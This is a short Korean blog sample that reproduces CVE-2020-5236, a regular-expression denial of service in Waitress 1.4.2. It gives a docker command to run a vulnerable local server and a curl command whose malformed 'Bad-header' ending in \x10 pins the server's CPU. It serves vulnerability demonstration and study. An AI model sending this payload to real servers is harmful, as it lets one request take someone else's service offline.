
Waitress 1.4.2 ReDoS - CVE-2020-5236 (블로그 샘플 코드)
Waitress 버전 1.4.2는 잘못된 문자가 포함된 헤더를 수신할 때 DoS 공격을 허용합니다. "Bad-header: xxxxxxxxxxxxxxx\x10"과 같은 헤더를 수신하면 정규 표현식 엔진이 치명적으로 역추적되어 프로세스가 CPU 시간을 100% 사용하게 되고 다른 모든 상호 작용이 차단됩니다. 이로 인해 공격자는 잘못된 헤더가 포함된 단일 요청을 전송하여 서비스를 오프라인으로 만들 수 있습니다.
NVD 제공
$ docker run --rm --name waitress -v "$PWD/src:/src" -p "8080:8080" -it python:3.7-slim python /src/server.py
$ curl "http://127.0.0.1:8080/hello/hogefuga" -H "Bad-header: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx`echo -n '\x10'`"
서버의 CPU 사용량을 표시합니다. "docker stats waitress"를 실행합니다.

↓ PoC 실행
